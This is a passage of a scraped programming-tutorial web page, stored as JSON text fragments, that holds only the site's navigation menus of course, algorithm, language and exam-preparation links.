TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHPSoftware DesignsSoftware Design PatternsSystem Design TutorialSchool LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesCS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved PapersStudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsGeek on the TopCareersInternship" }, { "code": null, "e": 4103, "s": 4036, "text": "Practice DS & Algo.Must Do QuestionsDSA Topic-wiseDSA Company-wise" }, { "code": null, "e": 4121, "s": 4103, "text": "Must Do Questions" }, { "code": null, "e": 4136, "s": 4121, "text": "DSA Topic-wise" }, { "code": null, "e": 4153, "s": 4136, "text": "DSA Company-wise" }, { "code": null, "e": 4734, "s": 4153, "text": "AlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll Algorithms" }, { "code": null, "e": 5067, "s": 4734, "text": "Analysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity Question" }, { "code": null, "e": 5087, "s": 5067, "text": "Asymptotic Analysis" }, { "code": null, "e": 5117, "s": 5087, "text": "Worst, Average and Best Cases" }, { "code": null, "e": 5138, "s": 5117, "text": "Asymptotic Notations" }, { "code": null, "e": 5174, "s": 5138, "text": "Little o and little omega notations" }, { "code": null, "e": 5203, "s": 5174, "text": "Lower and Upper Bound Theory" }, { "code": null, "e": 5221, "s": 5203, "text": "Analysis of Loops" }, { "code": null, "e": 5241, "s": 5221, "text": "Solving Recurrences" }, { "code": null, "e": 5260, "s": 5241, "text": "Amortized Analysis" }, { "code": null, "e": 5296, "s": 5260, "text": "What does 'Space Complexity' mean ?" }, { "code": null, "e": 5325, "s": 5296, "text": "Pseudo-polynomial Algorithms" }, { "code": null, "e": 5362, "s": 5325, "text": "Polynomial Time Approximation Scheme" }, { "code": null, "e": 5389, "s": 5362, "text": "A Time Complexity Question" }, { "code": null, "e": 5410, "s": 5389, "text": "Searching Algorithms" }, { "code": null, "e": 5429, "s": 5410, "text": "Sorting Algorithms" }, { "code": null, "e": 5446, "s": 5429, "text": "Graph Algorithms" }, { "code": null, "e": 5464, "s": 5446, "text": "Pattern Searching" }, { "code": null, "e": 5485, "s": 5464, "text": "Geometric Algorithms" }, { "code": null, "e": 5498, "s": 5485, "text": "Mathematical" }, { "code": null, "e": 5517, "s": 5498, "text": "Bitwise Algorithms" }, { "code": null, "e": 5539, "s": 5517, "text": "Randomized Algorithms" }, { "code": null, "e": 5557, "s": 5539, "text": "Greedy Algorithms" }, { "code": null, "e": 5577, "s": 5557, "text": "Dynamic Programming" }, { "code": null, "e": 5596, "s": 5577, "text": "Divide and Conquer" }, { "code": null, "e": 5609, "s": 5596, "text": "Backtracking" }, { "code": null, "e": 5626, "s": 5609, "text": "Branch and Bound" }, { "code": null, "e": 5641, "s": 5626, "text": "All Algorithms" }, { "code": null, "e": 5784, "s": 5641, "text": "Data StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data Structures" }, { "code": null, "e": 5791, "s": 5784, "text": "Arrays" }, { "code": null, "e": 5803, "s": 5791, "text": "Linked List" }, { "code": null, "e": 5809, "s": 5803, "text": "Stack" }, { "code": null, "e": 5815, "s": 5809, "text": "Queue" }, { "code": null, "e": 5827, "s": 5815, "text": "Binary Tree" }, { "code": null, "e": 5846, "s": 5827, "text": "Binary Search Tree" }, { "code": null, "e": 5851, "s": 5846, "text": "Heap" }, { "code": null, "e": 5859, "s": 5851, "text": "Hashing" }, { "code": null, "e": 5865, "s": 5859, "text": "Graph" }, { "code": null, "e": 5889, "s": 5865, "text": "Advanced Data Structure" }, { "code": null, "e": 5896, "s": 5889, "text": "Matrix" }, { "code": null, "e": 5904, "s": 5896, "text": "Strings" }, { "code": null, "e": 5924, "s": 5904, "text": "All Data Structures" }, { "code": null, "e": 6144, "s": 5924, "text": "Interview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice Quizzes" }, { "code": null, "e": 6164, "s": 6144, "text": "Company Preparation" }, { "code": null, "e": 6175, "s": 6164, "text": "Top Topics" }, { "code": null, "e": 6202, "s": 6175, "text": "Practice Company Questions" }, { "code": null, "e": 6224, "s": 6202, "text": "Interview Experiences" }, { "code": null, "e": 6247, "s": 6224, "text": "Experienced Interviews" }, { "code": null, "e": 6269, "s": 6247, "text": "Internship Interviews" }, { "code": null, "e": 6294, "s": 6269, "text": "Competititve Programming" }, { "code": null, "e": 6310, "s": 6294, "text": "Design Patterns" }, { "code": null, "e": 6333, "s": 6310, "text": "System Design Tutorial" }, { "code": null, "e": 6357, "s": 6333, "text": "Multiple Choice Quizzes" }, { "code": null, "e": 6438, "s": 6357, "text": "LanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlin" }, { "code": null, "e": 6440, "s": 6438, "text": "C" }, { "code": null, "e": 6444, "s": 6440, "text": "C++" }, { "code": null, "e": 6449, "s": 6444, "text": "Java" }, { "code": null, "e": 6456, "s": 6449, "text": "Python" }, { "code": null, "e": 6459, "s": 6456, "text": "C#" }, { "code": null, "e": 6470, "s": 6459, "text": "JavaScript" }, { "code": null, "e": 6477, "s": 6470, "text": "jQuery" }, { "code": null, "e": 6481, "s": 6477, "text": "SQL" }, { "code": null, "e": 6485, "s": 6481, "text": "PHP" }, { "code": null, "e": 6491, "s": 6485, "text": "Scala" }, { "code": null, "e": 6496, "s": 6491, "text": "Perl" }, { "code": null, "e": 6508, "s": 6496, "text": "Go Language" }, { "code": null, "e": 6513, "s": 6508, "text": "HTML" }, { "code": null, "e": 6517, "s": 6513, "text": "CSS" }, { "code": null, "e": 6524, "s": 6517, "text": "Kotlin" }, { "code": null, "e": 6570, "s": 6524, "text": "ML & Data ScienceMachine LearningData Science" }, { "code": null, "e": 6587, "s": 6570, "text": "Machine Learning" }, { "code": null, "e": 6600, "s": 6587, "text": "Data Science" }, { "code": null, "e": 6767, "s": 6600, "text": "CS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware Engineering" }, { "code": null, "e": 6779, "s": 6767, "text": "Mathematics" }, { "code": null, "e": 6796, "s": 6779, "text": "Operating System" }, { "code": null, "e": 6801, "s": 6796, "text": "DBMS" }, { "code": null, "e": 6819, "s": 6801, "text": "Computer Networks" }, { "code": null, "e": 6858, "s": 6819, "text": "Computer Organization and Architecture" }, { "code": null, "e": 6880, "s": 6858, "text": "Theory of Computation" }, { "code": null, "e": 6896, "s": 6880, "text": "Compiler Design" }, { "code": null, "e": 6910, "s": 6896, "text": "Digital Logic" }, { "code": null, "e": 6931, "s": 6910, "text": "Software Engineering" }, { "code": null, "e": 7106, "s": 6931, "text": "GATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CS" }, { "code": null, "e": 7134, "s": 7106, "text": "GATE Computer Science Notes" }, { "code": null, "e": 7152, "s": 7134, "text": "Last Minute Notes" }, { "code": null, "e": 7174, "s": 7152, "text": "GATE CS Solved Papers" }, { "code": null, "e": 7216, "s": 7174, "text": "GATE CS Original Papers and Official Keys" }, { "code": null, "e": 7232, "s": 7216, "text": "GATE 2021 Dates" }, { "code": null, "e": 7254, "s": 7232, "text": "GATE CS 2021 Syllabus" }, { "code": null, "e": 7283, "s": 7254, "text": "Important Topics for GATE CS" }, { "code": null, "e": 7357, "s": 7283, "text": "Web TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHP" }, { "code": null, "e": 7362, "s": 7357, "text": "HTML" }, { "code": null, "e": 7366, "s": 7362, "text": "CSS" }, { "code": null, "e": 7377, "s": 7366, "text": "JavaScript" }, { "code": null, "e": 7387, "s": 7377, "text": "AngularJS" }, { "code": null, "e": 7395, "s": 7387, "text": "ReactJS" }, { "code": null, "e": 7402, "s": 7395, "text": "NodeJS" }, { "code": null, "e": 7412, "s": 7402, "text": "Bootstrap" }, { "code": null, "e": 7419, "s": 7412, "text": "jQuery" }, { "code": null, "e": 7423, "s": 7419, "text": "PHP" }, { "code": null, "e": 7486, "s": 7423, "text": "Software DesignsSoftware Design PatternsSystem Design Tutorial" }, { "code": null, "e": 7511, "s": 7486, "text": "Software Design Patterns" }, { "code": null, "e": 7534, "s": 7511, "text": "System Design Tutorial" }, { "code": null, "e": 8091, "s": 7534, "text": "School LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes" }, { "code": null, "e": 8110, "s": 8091, "text": "School Programming" }, { "code": null, "e": 8202, "s": 8110, "text": "MathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculus" }, { "code": null, "e": 8216, "s": 8202, "text": "Number System" }, { "code": null, "e": 8224, "s": 8216, "text": "Algebra" }, { "code": null, "e": 8237, "s": 8224, "text": "Trigonometry" }, { "code": null, "e": 8248, "s": 8237, "text": "Statistics" }, { "code": null, "e": 8260, "s": 8248, "text": "Probability" }, { "code": null, "e": 8269, "s": 8260, "text": "Geometry" }, { "code": null, "e": 8281, "s": 8269, "text": "Mensuration" }, { "code": null, "e": 8290, "s": 8281, "text": "Calculus" }, { "code": null, "e": 8383, "s": 8290, "text": "Maths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 Notes" }, { "code": null, "e": 8397, "s": 8383, "text": "Class 8 Notes" }, { "code": null, "e": 8411, "s": 8397, "text": "Class 9 Notes" }, { "code": null, "e": 8426, "s": 8411, "text": "Class 10 Notes" }, { "code": null, "e": 8441, "s": 8426, "text": "Class 11 Notes" }, { "code": null, "e": 8456, "s": 8441, "text": "Class 12 Notes" }, { "code": null, "e": 8585, "s": 8456, "text": "NCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution" }, { "code": null, "e": 8608, "s": 8585, "text": "Class 8 Maths Solution" }, { "code": null, "e": 8631, "s": 8608, "text": "Class 9 Maths Solution" }, { "code": null, "e": 8655, "s": 8631, "text": "Class 10 Maths Solution" }, { "code": null, "e": 8679, "s": 8655, "text": "Class 11 Maths Solution" }, { "code": null, "e": 8703, "s": 8679, "text": "Class 12 Maths Solution" }, { "code": null, "e": 8836, "s": 8703, "text": "RD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution" }, { "code": null, "e": 8859, "s": 8836, "text": "Class 8 Maths Solution" }, { "code": null, "e": 8882, "s": 8859, "text": "Class 9 Maths Solution" }, { "code": null, "e": 8906, "s": 8882, "text": "Class 10 Maths Solution" }, { "code": null, "e": 8930, "s": 8906, "text": "Class 11 Maths Solution" }, { "code": null, "e": 8954, "s": 8930, "text": "Class 12 Maths Solution" }, { "code": null, "e": 9035, "s": 8954, "text": "Physics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes" }, { "code": null, "e": 9049, "s": 9035, "text": "Class 8 Notes" }, { "code": null, "e": 9063, "s": 9049, "text": "Class 9 Notes" }, { "code": null, "e": 9078, "s": 9063, "text": "Class 10 Notes" }, { "code": null, "e": 9093, "s": 9078, "text": "Class 11 Notes" }, { "code": null, "e": 9299, "s": 9093, "text": "CS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers" }, { "code": null, "e": 9410, "s": 9299, "text": "ISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer Exam" }, { "code": null, "e": 9452, "s": 9410, "text": "ISRO CS Original Papers and Official Keys" }, { "code": null, "e": 9474, "s": 9452, "text": "ISRO CS Solved Papers" }, { "code": null, "e": 9519, "s": 9474, "text": "ISRO CS Syllabus for Scientist/Engineer Exam" }, { "code": null, "e": 9602, "s": 9519, "text": "UGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers" }, { "code": null, "e": 9628, "s": 9602, "text": "UGC NET CS Notes Paper II" }, { "code": null, "e": 9655, "s": 9628, "text": "UGC NET CS Notes Paper III" }, { "code": null, "e": 9680, "s": 9655, "text": "UGC NET CS Solved Papers" }, { "code": null, "e": 9870, "s": 9680, "text": "StudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsGeek on the TopCareersInternship" }, { "code": null, "e": 9896, "s": 9870, "text": "Campus Ambassador Program" }, { "code": null, "e": 9922, "s": 9896, "text": "School Ambassador Program" }, { "code": null, "e": 9930, "s": 9922, "text": "Project" }, { "code": null, "e": 9948, "s": 9930, "text": "Geek of the Month" }, { "code": null, "e": 9973, "s": 9948, "text": "Campus Geek of the Month" }, { "code": null, "e": 9990, "s": 9973, "text": "Placement Course" }, { "code": null, "e": 10015, "s": 9990, "text": "Competititve Programming" }, { "code": null, "e": 10028, "s": 10015, "text": "Testimonials" }, { "code": null, "e": 10044, "s": 10028, "text": "Geek on the Top" }, { "code": null, "e": 10052, "s": 10044, "text": "Careers" }, { "code": null, "e": 10063, "s": 10052, "text": "Internship" }, { "code": null, "e": 10102, "s": 10063, "text": "JobsApply for JobsPost a JobJOB-A-THON" }, { "code": null, "e": 10117, "s": 10102, "text": "Apply for Jobs" }, { "code": null, "e": 10128, "s": 10117, "text": "Post a Job" }, { "code": null, "e": 10139, "s": 10128, "text": "JOB-A-THON" }, { "code": null, "e": 10146, "s": 10139, "text": "Events" }, { "code": null, "e": 10417, "s": 10150, "text": "WriteCome write articles for us and get featuredPracticeLearn and code with the best industry expertsPremiumGet access to ad-free content, doubt assistance and more!JobsCome and find your dream job with usGeeks DigestQuizzesGeeks CampusGblog ArticlesIDECampus Mantri" }, { "code": null, "e": 10430, "s": 10417, "text": "Geeks Digest" }, { "code": null, "e": 10438, "s": 10430, "text": "Quizzes" }, { "code": null, "e": 10451, "s": 10438, "text": "Geeks Campus" }, { "code": null, "e": 10466, "s": 10451, "text": "Gblog Articles" }, { "code": null, "e": 10470, "s": 10466, "text": "IDE" }, { "code": null, "e": 10484, "s": 10470, "text": "Campus Mantri" }, { "code": null, "e": 10492, "s": 10484, "text": "Sign In" }, { "code": null, "e": 10500, "s": 10492, "text": "Sign In" }, { "code": null, "e": 10505, "s": 10500, "text": "Home" }, { "code": null, "e": 10518, "s": 10505, "text": "Saved Videos" }, { "code": null, "e": 10526, "s": 10518, "text": "Courses" }, { "code": null, "e": 14731, "s": 10526, "text": "\n\nFor Working Professionals\n \n\n\n\nLIVE\n \n\n\nDSA Live Classes\n\nSystem Design\n\nJava Backend Development\n\nFull Stack LIVE\n\nExplore More\n\n\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nSDE Theory\n\nMust-Do Coding Questions\n\nExplore More\n\n\nFor Students\n \n\n\n\nLIVE\n \n\n\nCompetitive Programming\n\nData Structures with C++\n\nData Science\n\nExplore More\n\n\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nCIP\n\nJAVA / Python / C++\n\nExplore More\n\n\nSchool Courses\n \n\n\nSchool Guide\n\nPython Programming\n\nLearn To Make Apps\n\nExplore more\n\n\nPractice DS & Algo.\n \n\n\nMust Do Questions\n\nDSA Topic-wise\n\nDSA Company-wise\n\n\nAlgorithms\n \n\n\nSearching Algorithms\n\nSorting Algorithms\n\nGraph Algorithms\n\nPattern Searching\n\nGeometric Algorithms\n\nMathematical\n\nBitwise Algorithms\n\nRandomized Algorithms\n\nGreedy Algorithms\n\nDynamic Programming\n\nDivide and Conquer\n\nBacktracking\n\nBranch and Bound\n\nAll Algorithms\n\n\nAnalysis of Algorithms\n \n\n\nAsymptotic Analysis\n\nWorst, Average and Best Cases\n\nAsymptotic Notations\n\nLittle o and little omega notations\n\nLower and Upper Bound Theory\n\nAnalysis of Loops\n\nSolving Recurrences\n\nAmortized Analysis\n\nWhat does 'Space Complexity' mean ?\n\nPseudo-polynomial Algorithms\n\nPolynomial Time Approximation Scheme\n\nA Time Complexity Question\n\n\nData Structures\n \n\n\nArrays\n\nLinked List\n\nStack\n\nQueue\n\nBinary Tree\n\nBinary Search Tree\n\nHeap\n\nHashing\n\nGraph\n\nAdvanced Data Structure\n\nMatrix\n\nStrings\n\nAll Data Structures\n\n\nInterview Corner\n \n\n\nCompany Preparation\n\nTop Topics\n\nPractice Company Questions\n\nInterview Experiences\n\nExperienced Interviews\n\nInternship Interviews\n\nCompetititve Programming\n\nDesign Patterns\n\nSystem Design Tutorial\n\nMultiple Choice Quizzes\n\n\nLanguages\n \n\n\nC\n\nC++\n\nJava\n\nPython\n\nC#\n\nJavaScript\n\njQuery\n\nSQL\n\nPHP\n\nScala\n\nPerl\n\nGo Language\n\nHTML\n\nCSS\n\nKotlin\n\n\nML & Data Science\n \n\n\nMachine Learning\n\nData Science\n\n\nCS Subjects\n \n\n\nMathematics\n\nOperating System\n\nDBMS\n\nComputer Networks\n\nComputer Organization and Architecture\n\nTheory of Computation\n\nCompiler Design\n\nDigital Logic\n\nSoftware Engineering\n\n\nGATE\n \n\n\nGATE Computer Science Notes\n\nLast Minute Notes\n\nGATE CS Solved Papers\n\nGATE CS Original Papers and Official Keys\n\nGATE 2021 Dates\n\nGATE CS 2021 Syllabus\n\nImportant Topics for GATE CS\n\n\nWeb Technologies\n \n\n\nHTML\n\nCSS\n\nJavaScript\n\nAngularJS\n\nReactJS\n\nNodeJS\n\nBootstrap\n\njQuery\n\nPHP\n\n\nSoftware Designs\n \n\n\nSoftware Design Patterns\n\nSystem Design Tutorial\n\n\nSchool Learning\n \n\n\nSchool Programming\n\n\nMathematics\n \n\n\nNumber System\n\nAlgebra\n\nTrigonometry\n\nStatistics\n\nProbability\n\nGeometry\n\nMensuration\n\nCalculus\n\n\nMaths Notes (Class 8-12)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n\nClass 12 Notes\n\n\nNCERT Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n\n\nRD Sharma Solutions\n \n\n\nClass 8 Maths Solution\n\nClass 9 Maths Solution\n\nClass 10 Maths Solution\n\nClass 11 Maths Solution\n\nClass 12 Maths Solution\n\n\nPhysics Notes (Class 8-11)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n\n\nCS Exams/PSUs\n \n\n\n\nISRO\n \n\n\nISRO CS Original Papers and Official Keys\n\nISRO CS Solved Papers\n\nISRO CS Syllabus for Scientist/Engineer Exam\n\n\nUGC NET\n \n\n\nUGC NET CS Notes Paper II\n\nUGC NET CS Notes Paper III\n\nUGC NET CS Solved Papers\n\n\nStudent\n \n\n\nCampus Ambassador Program\n\nSchool Ambassador Program\n\nProject\n\nGeek of the Month\n\nCampus Geek of the Month\n\nPlacement Course\n\nCompetititve Programming\n\nTestimonials\n\nGeek on the Top\n\nCareers\n\nInternship\n\n\nTutorials\n \n\n\n\nJobs\n \n\n\nApply for Jobs\n\nPost a Job\n\nJOB-A-THON\n" }, { "code": null, "e": 14785, "s": 14731, "text": "\nFor Working Professionals\n \n\n" }, { "code": null, "e": 14908, "s": 14785, "text": "\nLIVE\n \n\n\nDSA Live Classes\n\nSystem Design\n\nJava Backend Development\n\nFull Stack LIVE\n\nExplore More\n" }, { "code": null, "e": 14927, "s": 14908, "text": "\nDSA Live Classes\n" }, { "code": null, "e": 14943, "s": 14927, "text": "\nSystem Design\n" }, { "code": null, "e": 14970, "s": 14943, "text": "\nJava Backend Development\n" }, { "code": null, "e": 14988, "s": 14970, "text": "\nFull Stack LIVE\n" }, { "code": null, "e": 15003, "s": 14988, "text": "\nExplore More\n" }, { "code": null, "e": 15111, "s": 15003, "text": "\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nSDE Theory\n\nMust-Do Coding Questions\n\nExplore More\n" }, { "code": null, "e": 15129, "s": 15111, "text": "\nDSA- Self Paced\n" }, { "code": null, "e": 15142, "s": 15129, "text": "\nSDE Theory\n" }, { "code": null, "e": 15169, "s": 15142, "text": "\nMust-Do Coding Questions\n" }, { "code": null, "e": 15184, "s": 15169, "text": "\nExplore More\n" }, { "code": null, "e": 15225, "s": 15184, "text": "\nFor Students\n \n\n" }, { "code": null, "e": 15337, "s": 15225, "text": "\nLIVE\n \n\n\nCompetitive Programming\n\nData Structures with C++\n\nData Science\n\nExplore More\n" }, { "code": null, "e": 15363, "s": 15337, "text": "\nCompetitive Programming\n" }, { "code": null, "e": 15390, "s": 15363, "text": "\nData Structures with C++\n" }, { "code": null, "e": 15405, "s": 15390, "text": "\nData Science\n" }, { "code": null, "e": 15420, "s": 15405, "text": "\nExplore More\n" }, { "code": null, "e": 15516, "s": 15420, "text": "\nSelf-Paced\n \n\n\nDSA- Self Paced\n\nCIP\n\nJAVA / Python / C++\n\nExplore More\n" }, { "code": null, "e": 15534, "s": 15516, "text": "\nDSA- Self Paced\n" }, { "code": null, "e": 15540, "s": 15534, "text": "\nCIP\n" }, { "code": null, "e": 15562, "s": 15540, "text": "\nJAVA / Python / C++\n" }, { "code": null, "e": 15577, "s": 15562, "text": "\nExplore More\n" }, { "code": null, "e": 15688, "s": 15577, "text": "\nSchool Courses\n \n\n\nSchool Guide\n\nPython Programming\n\nLearn To Make Apps\n\nExplore more\n" }, { "code": null, "e": 15703, "s": 15688, "text": "\nSchool Guide\n" }, { "code": null, "e": 15724, "s": 15703, "text": "\nPython Programming\n" }, { "code": null, "e": 15745, "s": 15724, "text": "\nLearn To Make Apps\n" }, { "code": null, "e": 15760, "s": 15745, "text": "\nExplore more\n" }, { "code": null, "e": 15861, "s": 15760, "text": "\nPractice DS & Algo.\n \n\n\nMust Do Questions\n\nDSA Topic-wise\n\nDSA Company-wise\n" }, { "code": null, "e": 15881, "s": 15861, "text": "\nMust Do Questions\n" }, { "code": null, "e": 15898, "s": 15881, "text": "\nDSA Topic-wise\n" }, { "code": null, "e": 15917, "s": 15898, "text": "\nDSA Company-wise\n" }, { "code": null, "e": 16222, "s": 15917, "text": "\nAlgorithms\n \n\n\nSearching Algorithms\n\nSorting Algorithms\n\nGraph Algorithms\n\nPattern Searching\n\nGeometric Algorithms\n\nMathematical\n\nBitwise Algorithms\n\nRandomized Algorithms\n\nGreedy Algorithms\n\nDynamic Programming\n\nDivide and Conquer\n\nBacktracking\n\nBranch and Bound\n\nAll Algorithms\n" }, { "code": null, "e": 16245, "s": 16222, "text": "\nSearching Algorithms\n" }, { "code": null, "e": 16266, "s": 16245, "text": "\nSorting Algorithms\n" }, { "code": null, "e": 16285, "s": 16266, "text": "\nGraph Algorithms\n" }, { "code": null, "e": 16305, "s": 16285, "text": "\nPattern Searching\n" }, { "code": null, "e": 16328, "s": 16305, "text": "\nGeometric Algorithms\n" }, { "code": null, "e": 16343, "s": 16328, "text": "\nMathematical\n" }, { "code": null, "e": 16364, "s": 16343, "text": "\nBitwise Algorithms\n" }, { "code": null, "e": 16388, "s": 16364, "text": "\nRandomized Algorithms\n" }, { "code": null, "e": 16408, "s": 16388, "text": "\nGreedy Algorithms\n" }, { "code": null, "e": 16430, "s": 16408, "text": "\nDynamic Programming\n" }, { "code": null, "e": 16451, "s": 16430, "text": "\nDivide and Conquer\n" }, { "code": null, "e": 16466, "s": 16451, "text": "\nBacktracking\n" }, { "code": null, "e": 16485, "s": 16466, "text": "\nBranch and Bound\n" }, { "code": null, "e": 16502, "s": 16485, "text": "\nAll Algorithms\n" }, { "code": null, "e": 16887, "s": 16502, "text": "\nAnalysis of Algorithms\n \n\n\nAsymptotic Analysis\n\nWorst, Average and Best Cases\n\nAsymptotic Notations\n\nLittle o and little omega notations\n\nLower and Upper Bound Theory\n\nAnalysis of Loops\n\nSolving Recurrences\n\nAmortized Analysis\n\nWhat does 'Space Complexity' mean ?\n\nPseudo-polynomial Algorithms\n\nPolynomial Time Approximation Scheme\n\nA Time Complexity Question\n" }, { "code": null, "e": 16909, "s": 16887, "text": "\nAsymptotic Analysis\n" }, { "code": null, "e": 16941, "s": 16909, "text": "\nWorst, Average and Best Cases\n" }, { "code": null, "e": 16964, "s": 16941, "text": "\nAsymptotic Notations\n" }, { "code": null, "e": 17002, "s": 16964, "text": "\nLittle o and little omega notations\n" }, { "code": null, "e": 17033, "s": 17002, "text": "\nLower and Upper Bound Theory\n" }, { "code": null, "e": 17053, "s": 17033, "text": "\nAnalysis of Loops\n" }, { "code": null, "e": 17075, "s": 17053, "text": "\nSolving Recurrences\n" }, { "code": null, "e": 17096, "s": 17075, "text": "\nAmortized Analysis\n" }, { "code": null, "e": 17134, "s": 17096, "text": "\nWhat does 'Space Complexity' mean ?\n" }, { "code": null, "e": 17165, "s": 17134, "text": "\nPseudo-polynomial Algorithms\n" }, { "code": null, "e": 17204, "s": 17165, "text": "\nPolynomial Time Approximation Scheme\n" }, { "code": null, "e": 17233, "s": 17204, "text": "\nA Time Complexity Question\n" }, { "code": null, "e": 17430, "s": 17233, "text": "\nData Structures\n \n\n\nArrays\n\nLinked List\n\nStack\n\nQueue\n\nBinary Tree\n\nBinary Search Tree\n\nHeap\n\nHashing\n\nGraph\n\nAdvanced Data Structure\n\nMatrix\n\nStrings\n\nAll Data Structures\n" }, { "code": null, "e": 17439, "s": 17430, "text": "\nArrays\n" }, { "code": null, "e": 17453, "s": 17439, "text": "\nLinked List\n" }, { "code": null, "e": 17461, "s": 17453, "text": "\nStack\n" }, { "code": null, "e": 17469, "s": 17461, "text": "\nQueue\n" }, { "code": null, "e": 17483, "s": 17469, "text": "\nBinary Tree\n" }, { "code": null, "e": 17504, "s": 17483, "text": "\nBinary Search Tree\n" }, { "code": null, "e": 17511, "s": 17504, "text": "\nHeap\n" }, { "code": null, "e": 17521, "s": 17511, "text": "\nHashing\n" }, { "code": null, "e": 17529, "s": 17521, "text": "\nGraph\n" }, { "code": null, "e": 17555, "s": 17529, "text": "\nAdvanced Data Structure\n" }, { "code": null, "e": 17564, "s": 17555, "text": "\nMatrix\n" }, { "code": null, "e": 17574, "s": 17564, "text": "\nStrings\n" }, { "code": null, "e": 17596, "s": 17574, "text": "\nAll Data Structures\n" }, { "code": null, "e": 17864, "s": 17596, "text": "\nInterview Corner\n \n\n\nCompany Preparation\n\nTop Topics\n\nPractice Company Questions\n\nInterview Experiences\n\nExperienced Interviews\n\nInternship Interviews\n\nCompetititve Programming\n\nDesign Patterns\n\nSystem Design Tutorial\n\nMultiple Choice Quizzes\n" }, { "code": null, "e": 17886, "s": 17864, "text": "\nCompany Preparation\n" }, { "code": null, "e": 17899, "s": 17886, "text": "\nTop Topics\n" }, { "code": null, "e": 17928, "s": 17899, "text": "\nPractice Company Questions\n" }, { "code": null, "e": 17952, "s": 17928, "text": "\nInterview Experiences\n" }, { "code": null, "e": 17977, "s": 17952, "text": "\nExperienced Interviews\n" }, { "code": null, "e": 18001, "s": 17977, "text": "\nInternship Interviews\n" }, { "code": null, "e": 18028, "s": 18001, "text": "\nCompetititve Programming\n" }, { "code": null, "e": 18046, "s": 18028, "text": "\nDesign Patterns\n" }, { "code": null, "e": 18071, "s": 18046, "text": "\nSystem Design Tutorial\n" }, { "code": null, "e": 18097, "s": 18071, "text": "\nMultiple Choice Quizzes\n" }, { "code": null, "e": 18236, "s": 18097, "text": "\nLanguages\n 